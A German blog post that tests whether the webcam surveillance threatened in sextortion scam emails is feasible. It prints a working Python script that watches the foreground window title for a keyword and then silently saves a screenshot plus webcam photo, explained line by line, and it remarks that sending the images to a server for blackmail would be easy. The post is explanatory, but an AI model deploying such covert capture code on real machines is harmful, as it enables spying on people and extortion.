Ist Überwachung wie in vielen Scaremails behauptet möglich?

16.01.2023, 09:47 - Autor: Mark B.
Alles fing damit an, dass wir mit ein paar Freunden ein Bier trinken waren und just bekommt einer in der Runde eine so-genannte Scaremail. Was dahinter steckt, habe ich hier schon ausführlich analysiert...

Also entbrannte eine kleine Diskussion, ob dies überhaupt machbar wäre - mein Standpunkt war, dass dies recht einfach zu machen sein sollte. Da einige meiner Bekannten dies nicht so recht glauben wollten, heiß es am Ende: "Wenn du glaubst, es geht so einfach, dann zeig es uns doch!"

Nichts leichter als das:

import pyautogui
import ctypes
import pygame
import time

from PIL import Image
from pygame import camera
from ctypes import wintypes
from pygetwindow import PyGetWindowException, pointInRect, BaseWindow, Rect, Point, Size

enumWindows = ctypes.windll.user32.EnumWindows
enumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
getWindowText = ctypes.windll.user32.GetWindowTextW
getWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW


def foreach_window(hWnd, lParam):
    global activeWindowTitle
    if hWnd == activeWindowHwnd:
        length = getWindowTextLength(hWnd)
        buff = ctypes.create_unicode_buffer(length + 1)
        getWindowText(hWnd, buff, length + 1)
        activeWindowTitle =  buff.value
    return True


activeWindowTitle = ""

while True:
    activeWindowHwnd = ctypes.windll.user32.GetForegroundWindow()
    enumWindows(enumWindowsProc(foreach_window), 0)
    
    if "Hot chick" in activeWindowTitle:
        img1 = pyautogui.screenshot()
        w, h = img1.size
        
        comb_img = Image.new('RGB', (w+640, h), (255,255,255))
        comb_img.paste(img1, (0, 0))

        camera.init()
        camlist = camera.list_cameras()
        cam = camera.Camera(camlist[0], (640, 480))
        cam.start()
        time.sleep(0.5)
        img2 = cam.get_image()
        cam.stop()

        raw_str = pygame.image.tostring(img2, 'RGB', False)
        img2 = Image.frombytes('RGB', (640, 480), raw_str)
        comb_img.paste(img2, (w, 0))
        
        comb_img.save("got_you.jpg", "JPEG")
        
    time.sleep(3)

Das war auch gleich eine Möglichkeit, mit ctypes bzw. wintypes herumzuspielen. Das Aufnehmen von Screenshots und Bildern der Webcam habe ich bereits im Artikel Big-Brother lässt grüßen beschrieben. Hier zeige ich eine leicht abgewantdelte Form, die auf pygame basiert. Aber sehen wir uns das Script doch etwas genauer an...

Das Herzstück sind die zwei Zeilen activeWindowHwnd = ctypes.windll.user32.GetForegroundWindow() und enumWindows(enumWindowsProc(foreach_window), 0), die in einer Endloßschleife (while True) ausgeführt werden. Damit ermittle ich das Handle für das Fenster im Vordergrund (siehe: Microsoft Learn).

Der Aufruf von enumWindows(...) führt dann dazu, dass in der Funktion foreach_window() die ganzen Fenster durchlaufen werden und wenn das aktuelle Handle mit dem Handle des Vordergrund-Fensters übereinstimmt (if hWnd == activeWindowHwnd), wird der Fenster-Titel ausgelesen und der globalen Variable activeWindowTitle zugewiesen (activeWindowTitle = buff.value).

Eine detaillierte Einführung in die Windows-Funktionen würde den Rahmen des Artikels sprengen - daher verweise ich Interessierte auf Microsoft Lern!

Danach wird geprüft ob "Hot chick" im Titel vorkommt (if "Hot chick" in activeWindowTitle) und wenn das der Fall ist, wird ein Screenshot erstellt (img1 = pyautogui.screenshot()) und die Breite und Höhe des Screenshots ermittelt (w, h = img1.size). Dann wird ein neues leeres Bild erstellt (comb_img = Image.new('RGB', (w+640, h), (255,255,255))), welches um 640 Pixel beiter aber gleich hoch ist wie der Screenshot ((w+640, h)) und mit weiß ((255,255,255)) gefüllt wird. Auf dieses Bild wird dann der Screenshot an Position 0, 0 mit dem Befehl comb_img.paste(img1, (0, 0)) eingefügt.

Dann folgt das bereits vielen Lesern bekannte Auslesen eines Bildes mit der Webcam. Hierbei wird das camera-Modul von pygame initialisiert, die Kameras werden aufgelistet und die erste Kamera wird ausgewählt (cam = camera.Camera(camlist[0], (640, 480))) und dann gestartet. Hierbei wird das gewünschte Kamerabild auf 640x480 Pixel skaliert. Nach einer halben Sekunde Pause, damit die Kamera fokussieren und die korrekte Belichtung ermitteln kann, wird ein Bild aufgenommen (img2 = cam.get_image()) und die Kamera wieder gestoppt.

Das Bild der Webcam wird nun in ein Bytearray mit RGB-Daten (Rot, Grün, Blau Farbraum) umgewandelt (raw_str = pygame.image.tostring(img2, 'RGB', False)) und dann wird aus diesem Bytearray ein Pillow Image generiert (img2 = Image.frombytes('RGB', (640, 480), raw_str)) welches dann wieder in das comb_img rechts oben neben dem Screenshot eingefügt wird.

comb_img.save("got_you.jpg", "JPEG") speichert das Bild dann ab und time.sleep(3) sorgt dafür, dass die Schleife alle 3 Sekunden wieder prüft, welches Fenster im Vordergrund ist und ob dieses den gesuchten Begriff im Titel enthält. Natürlich wäre es auch ein leichtes ein Video zu erstellen oder die Bilder alle 1, 2 oder 3 Sekunden an einen Server zu übertragen, um die Daten für eine solche Erpressung in der Hand zu haben! Wie sie sehen, klappt das vorzüglich: